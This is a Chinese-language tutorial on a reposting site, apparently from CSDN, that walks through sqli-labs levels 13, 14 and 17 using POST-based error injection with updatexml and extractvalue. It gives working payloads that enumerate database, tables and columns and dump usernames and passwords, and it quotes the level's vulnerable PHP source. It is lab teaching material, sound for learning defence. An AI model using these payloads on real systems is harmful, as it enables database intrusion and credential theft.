网站的面包屑怎么做的/营销网站做的好的公司

网站的面包屑怎么做的,营销网站做的好的公司,域名有wordpress,黑彩网站建设运营目录 【sql靶场】第13、14、17关-post提交报错注入保姆级教程 1.知识回顾 1.报错注入深解 2.报错注入格式 3.使用的函数 4.URL 5.核心组成部分 6.数据编码规范 7.请求方法 2.第十三关 1.测试闭合 2.列数测试 3.测试回显 4.爆出数据库名 5.爆出表名 6.爆出字段 …

目录

【sql靶场】第13、14、17关-post提交报错注入保姆级教程

1.知识回顾

1.报错注入深解

2.报错注入格式

3.使用的函数

4.URL

5.核心组成部分

6.数据编码规范

7.请求方法

2.第十三关

1.测试闭合

2.列数测试

3.测试回显

4.爆出数据库名

5.爆出表名

6.爆出字段

7.爆出账号密码

3.第十二关

4.第十七关

1.思路

2.分析

3.操作


【sql靶场】第13、14、17关-post提交报错注入保姆级教程

关卡讲解前回顾小知识,不看可以跳过,如果还不太会报错注入建议看sql靶场5-6关(报错注入)保姆级教程-CSDN博客

1.知识回顾
1.报错注入深解

有则利用报错显示进行注入,让报错里面携带所需的查询信息

可以通过列数不同进行判断是否有报错,但是报错注入一般是让报错函数通过构造‌非法XPath表达式强制触发数据库解析错误,其核心原理与字段数无关,原因是字段数不匹配错误发生在 ‌结果集构造阶段(如 UNION 前后字段数不一致)报错注入的异常发生在 ‌条件解析阶段(如XPath解析失败),早于结果集生成,无论主查询返回3个字段还是其他数量,条件逻辑仅影响数据过滤,不涉及字段数对比‌

2.报错注入格式

一般是通过updatexml与 extractvalue进行构造‌非法XPath表达式

?id=1' and updatexml(1,concat(0x7e,(子查询语句),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(子查询语句),0x7e))--+ 

3.使用的函数

concat:将同一行中多个字段的值拼接为单个字符串,适用于单行多列数据的合并‌

group_concat:某一列的数据聚合,适用于单列多行数据的合并‌

两个可以组合使用----每次先将行中的两个字段进行拼接成字符串再进行列的每行数据聚合

GROUP_CONCAT(CONCAT(col1, col2))

区别:

concat适用于需要精准提取特定行数据的场景(如管理员账号)‌。需多次请求,效率较低‌

group_concat单次请求获取数据,但需手动拼接分片结果‌。适用于快速批量泄露(如全表用户密码)

问题:

在利用 updatexml 进行报错注入时,可能会因为查询结果因长度限制显示不全,可通过以下两种方法解决:mid()或 substr()分片截取数据,规避 updatexml() 的32字符长度限制‌

使用的语法:

limit 0,1:从第0行开始,获取1条数据。逐次修改起始位置(如 limit 1,1、limit 2,1)遍历所有记录‌

substr(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),

逐次修改 start 参数(如 32、63)循环获取后续内容‌。

mid(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),

逐次修改 start 参数(如 32、63)循环获取后续内容‌。

区别:

substr(string, start, length) 和mid(string, start, length) 均用于截取字符串的指定部分,两者语法和功能完全一致‌,但是一般使用 mid(),功能相同但兼容性更佳‌,可无缝替代 substr避免潜在语法冲突‌。

特性concat + limitgroup_concat + substr/mid
数据范围单行数据多行聚合数据
输出格式单条记录(如 user~pass多条记录合并(如 user1~pass1,user2~pass2
注入效率需多次请求遍历数据单次请求获取多行数据
长度限制处理直接适配单行输出长度需通过 substr 分段截取避免超长截断‌

4.URL

URL(Uniform Resource Locator)是互联网上唯一标识资源位置的字符串,包含协议、主机地址、路径等核心部分,用于定位和访问网络资源‌12。其标准格式为: 协议://主机地址[:端口号]/路径?查询参数#锚点 https://www.example.com:8080/api/users?id=123#section1

5.核心组成部分

‌协议(Scheme)‌,定义资源访问的通信协议,例如:

http:超文本传输协议(明文传输)‌ https:加密的HTTP协议(安全性更高)‌ ftp:文件传输协议

主机地址(Host)

域名:如 www.example.com IP地址:如 202.108.22.5

端口号:可选,默认HTTP为80,HTTPS为443,自定义端口需显式指定(如:8080)‌

‌路径(Path): 表示服务器上的资源路径,如 /api/users/img/logo.png‌12。

‌查询参数(Query Parameters):以 ? 开头,key=value 形式通过 & 分隔,用于向服务器传递附加参数,如 ?name=John&age=30。

‌锚点(Fragment)以 # 开头,用于页面内导航(如 #section1),仅客户端使用,不发送至服务器‌。

6.数据编码规范

URL中非ASCII字符(如中文、空格)需进行‌URL编码

规则如下:将字符转换为十六进制值,前缀加 %(如空格 → %20/%2F)‌,编码方式由浏览器或编程语言决定,可通过 encodeURIComponent() 等函数统一处理‌。

示例*: https://example.com/search?q=%E4%B8%AD%E6%96%87(搜索“中文”)

7.请求方法

GET请求

数据通过URL参数传递,明文暴露于地址栏,适用于非敏感数据(如搜索关键词)‌。

受URL长度限制(通常≤2048字符)‌。

POST请求

数据通过请求体传输,URL中仅包含资源路径(如 https://example.com/login)‌。

适合提交敏感信息(如密码)或大量数据(如文件上传)‌

提交方式从get变成了post,使得数据不会通过URL参数传递,明文暴露于地址栏,所以使用post提交POST请求的数据存储在‌请求体(Body)‌中,而非URL参数,URL中仅包含资源路径,这里就不需要再地址栏进行测试,但是我们可以在页面的账号密码输入里尝试,可不可以进行注入

2.第十三关

方法一

在页面的输入框直接进行注入,建议使用的注释符#

方法二

使用BurpSuite,点击代理然后点击截断的截断请求,然后打开火狐浏览器,打开关卡页面,随便输入账号密码,点击提交

在这里的注入注释符#与--+都可以

打开重发器,复制到,发送,输入目标IP与端口,响应

1-测试

个人建议使用BurpSuite,因为可以清楚看见自己的注入,如果出现错误比较好检查,也比较好修改,而在页面的输入框直接注入,第一由于输入框的大小限制,很影响注入语句的输入与观看,第二输入提交后注入语句会变成空,如果报错很难检查与修改错误

如果没有BurpSuite,可以观看Burp Suite Professional的下载安装与使用-CSDN博客

1.测试闭合

单引号闭合

1'

单引号闭合测试

1'#

单引号括号闭合测试

1')#

闭合方式是单引号加括号

2.列数测试
1') order by 3#
1') order by 2#

列数为2

3.测试回显

看有没有回显

没有回显,但是有报错,那么我们可以尝试报错注入

4.爆出数据库名
and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ 
and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

5.爆出表名
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

报错原因:查询表名,但是表名有多个(多行),这里无法全部展示出来,可以使用group_concat与mid,group_concat进行聚合,因为这里注入出来的表名没有超过32个字符,所以可以不使用mid进行截取

 and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+

另外一种方法,使用limit,一行一行查询

 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

6.爆出字段
and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),1,30),0x7e),1)--+

7.爆出账号密码
and  updatexml(1,concat(0x7e,(select substr((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) --+and  updatexml(1,concat(0x7e,(select mid((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) --+and  updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

3.第十二关

闭合测试

单引号闭合

双引号闭合

双引号闭合测试

闭合方式是1" ,剩下的与第十三关没有什么不同了

4.第十七关
1.思路

首先我们查看17关界面,发现这一关有点不一样,这里是输入正确的账号修改密码,先不看源代码进行尝试,能不能在账号输入框里面进行注入,尝试单引号与双引号闭合,会看到页面始终错误,再尝试or,如1' or '1'='1'#,是否可以存在页面不同,有没有盲注,发现一样不行,接下来尝试密码输入框进行尝试,发现一样,那可能是需要账号与密码同时有值,但是这个是修改密码的页面,说明必须要有正确的用户名才能进行修改密码,那么我们使用正确的用户名,能不能在账号的输入框进行注入呢,尝试可以发现注入不了,既然如此,就输入正确的账号,然后在修改密码的输入框里面进行注入,尝试单引号,发现报错了,既然报错了就有报错注入,接下来只需要输入正确的账号,然后在密码框里面进行注入就好了

2.分析

查看源代码

function check_input($value){if(!empty($value)){$value = substr($value,0,15);}if (get_magic_quotes_gpc()){$value = stripslashes($value);}if (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}	else{$value = intval($value);}return $value;}if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=check_input($_POST['uname']);  $passwd=$_POST['passwd'];$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){$row1 = $row['username'];  	$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";mysql_query($update);echo "<br>";if (mysql_error()){echo '<font color= "#FFFF00" font size = 3 >';print_r(mysql_error());echo "</br></br>";echo "</font>";}else{echo '<font color= "#FFFF00" font size = 3 >';	echo "<br>";echo "</font>";}echo '<img src="../images/flag1.jpg"   />';	echo "</font>";}else  {echo '<font size="4.5" color="#FFFF00">';echo "</br>";echo '<img src="../images/slap1.jpg"   />';echo "</font>";  }
}

可以看到里面几段代码对注入有了限制

第一段

里面有一个限制字符长度为15的限制

function check_input($value){if(!empty($value)){$value = substr($value,0,15);}if (get_magic_quotes_gpc()){$value = stripslashes($value);}if (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}	else{$value = intval($value);}return $value;}

往后可以看到这个限制用在了账号,但是没有用在密码

$uname=check_input($_POST['uname']);  $passwd=$_POST['passwd'];

第二段

里面有一个限制,必须要账号密码同时有

		$row1 = $row['username'];  	$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";mysql_query($update);

既然账号密码同时要,那快递要能够查询到账号才会执行修改密码语句,才能够注入

3.操作

既然找到注入点了,剩下的与前面两关的报错注入的操作基本一样

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/73643.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[项目]基于FreeRTOS的STM32四轴飞行器: 六.2.4g通信

基于FreeRTOS的STM32四轴飞行器: 六.2.4g通信 一.Si24Ri原理图二.Si24R1芯片手册解读三.驱动函数讲解五.移植2.4g通讯&#xff08;飞控部分&#xff09;六.移植2.4g通讯&#xff08;遥控部分&#xff09;七.通讯模块的完成&#xff08;遥控部分&#xff09; 一.Si24Ri原理图 S…

【源码分析】Nacos实例注册流程分析-事件驱动框架

【踩坑记录】 本人下载的Nacos 服务端版本是2.3.2&#xff0c;在开始进行源码编译便遇到问题&#xff0c;下面是各个问题记录 源码大量爆红 在最开始用Idea加载Maven项目的时候&#xff0c;发现项目中大量的代码爆红&#xff0c;提示其类或者包不存在&#xff0c;后来结果查…

【白话神经网络(二)】矩阵、CNN、RNN

全连接层 回顾前面学过的知识&#xff1a; 一个最简单的神经网络&#xff0c;就是ywxb 套上一个激活函数。 如果有多个输入&#xff0c;那就是多个w和x 如果有多个输出&#xff0c;那就再来一行公式&#xff0c;多一组w和b 要是神经元多了的话&#xff0c;公式密密麻麻的&…

Unity教程(二十二)技能系统 分身技能

Unity开发2D类银河恶魔城游戏学习笔记 Unity教程&#xff08;零&#xff09;Unity和VS的使用相关内容 Unity教程&#xff08;一&#xff09;开始学习状态机 Unity教程&#xff08;二&#xff09;角色移动的实现 Unity教程&#xff08;三&#xff09;角色跳跃的实现 Unity教程&…

CTF WEB题

[文件包含,少许难度] 地址:攻防世界 代码审计WRONG WAY! <?php include("flag.php"); #包含了一个“flag.php”文件 highlight_file(__FILE__); #来显示当前文件的源代码 if(isset($_GET["file1"]) && isset($_GET["file2"])) #isse…

c++图论(一)之图论的起源和图的概念

C 图论之图论的起源和图的概念 图论&#xff08;Graph Theory&#xff09;是数学和计算机科学中的一个重要分支&#xff0c;其起源可以追溯到 18 世纪 的经典问题。以下是图论的历史背景、核心起源问题及其与基本概念和用途&#xff1a; 借用一下CSDN的图片哈 一、图论的起源&…

Ollama + CherryStudio:构建本地私有知识库

前面我们介绍了Ollama的安装和使用&#xff0c;并通过Open-WebUI进行调用&#xff0c;相信大家对Ollama也有了一定的了解&#xff1b;这篇博文就结合Ollama工具和CherryStudio工具构建一个本地知识库&#xff08;RAG&#xff09;&#xff1b;在进行接下来的操作之前&#xff0c…

【实战ES】实战 Elasticsearch:快速上手与深度实践-8.2.1AWS OpenSearch无服务器方案

&#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 文章大纲 8.2.1AWS OpenSearch 无服务器方案深度解析与实践指南1. Serverless架构的核心价值与行业趋势1.1 传统Elasticsearch集群的运维挑战1.2 Serverless技术演进路线技术特性对比…

图搜索的两种写法,广度优先和深度优先

最近AI的爆发大家都疯了&#xff0c;也确实够疯&#xff0c;前几年谁能天天和AI聊天呢&#xff0c;特别它越来越智能&#xff0c;越来越理解你&#xff0c;你越来越离不开它&#xff0c;我很好奇将来它会不会有情绪&#xff0c;太可怕了&#xff0c;一旦有了这个就有了感情&…

嵌入式八股RTOS与Linux---前言篇

前言 Linux与RTOS是校招八股的时候很喜欢考察的知识,在这里并没有把两个操作系统完全的独立开去讲,放在一起对比或许可能加深印象。我们讲Linux的内核有五部分组成:进程调度、内存管理、文件系统、网络接口、进程间通信,所以我也将从这五方面出发 中断管理去对比和RTOS的不同。…

基于Vue实现Echarts的平滑曲线

在Vue2.x的项目中使用echarts实现如下效果 安装echarts npm install echarts --save组件引入echarts // 在你的Vue组件中 import * as echarts from echarts;在模板中添加一个div元素&#xff0c;用来放置图表 <divref"chart"class"chart"style"…

Java 集合框架中 `List` 接口及其子类的详细介绍,并用 UML 图表展示层次结构关系,用表格对比各个类的差异。

下面是 Java 集合框架中 List 接口及其子类的详细介绍&#xff0c;并用 UML 图表展示层次结构关系。最后&#xff0c;我会用表格对比各个类的差异。 Java 集合框架中 List 接口及其子类 UML 类图描述 以下是 List 接口及其子类的 UML 类图描述&#xff0c;不包含方法。 详细…

Java面试八股—Redis篇

一、Redis的使用场景 &#xff08;一&#xff09;缓存 1.Redis使用场景缓存 场景&#xff1a;缓存热点数据&#xff08;如用户信息、商品详情&#xff09;&#xff0c;减少数据库访问压力&#xff0c;提升响应速度。 2.缓存穿透 正常的访问是&#xff1a;根据ID查询文章&…

【GPT入门】第22课 langchain LCEL介绍

【GPT入门】第22课 langchain LCEL介绍 1. LCEL介绍与特点2. 原生API与LCEL的对比2. 简单demo 1. LCEL介绍与特点 LCEL 即 LangChain Expression Language&#xff0c;是 LangChain 推出的一种声明式语言&#xff0c;用于简化和优化在 LangChain 框架内构建复杂链和应用的过程…

数据结构——单链表list

前言&#xff1a;大家好&#x1f60d;&#xff0c;本文主要介绍数据结构——单链表 目录 一、单链表 二、使用步骤 1.结构体定义 2.初始化 3.插入 3.1 头插 3.2 尾插 3.3 按位置插 四.删除 4.1头删 4.2 尾删 4.3 按位置删 4.4按值删 五 统计有效值个数 六 销毁…

堆排序:力扣215.数组中的第K个大元素

一、问题描述 在一个整数数组 nums 中&#xff0c;需要找出第 k 个最大的元素。这里要注意&#xff0c;我们要找的是数组排序后的第 k 个最大元素&#xff0c;而不是第 k 个不同的元素。例如&#xff0c;对于数组 [3,2,1,5,6,4]&#xff0c;当 k 2 时&#xff0c;第 2 个最大…

C语言(25)

一.数据在内存中的存储 1.整数在内存中的存储 整数在内存中以二进制的形式储存&#xff0c;分别为原码&#xff0c;补码&#xff0c;反码 有符号的整数&#xff0c;在上述三种形式都有符号位和数值位两个部分&#xff0c;符号位为0是正数&#xff0c;1是负数&#xff0c;最高…

鸿蒙开发-一多开发之媒体查询功能

在HarmonyOS中&#xff0c;使用ArkTS语法实现响应式布局的媒体查询是一个强大的功能&#xff0c;它允许开发者根据不同的设备特征&#xff08;如屏幕尺寸、屏幕方向等&#xff09;动态地调整UI布局和样式。以下是一个使用媒体查询实现响应式布局的实例&#xff1a; 1. 导入必要…

Docker运行hello-world镜像失败或超时:Unable to find image ‘hello-world:latest‘ locally Trying to pull reposi

Docker运行hello-world镜像失败或超时&#xff0c;报错&#xff1a;Unable to find image ‘hello-world:latest’ locally Trying to pull repository docker.io/library/hello-world … /usr/bin/docker-current: missing signature key. See ‘/usr/bin/docker-current run …

MySQL连接较慢原因分析及解决措施

文章目录 整体说明一、问题现象二、问题分析2.1、DNS反向解析问题2.2、网络问题2.3、SSL/TLS协商问题2.4、自动补全的延迟 三、问题解决 摘要&#xff1a; MySQL连接较慢原因分析及解决措施 关键词&#xff1a; MySQL、连接缓慢、客户端、参数设置 整体说明 在使用MySQL的时候…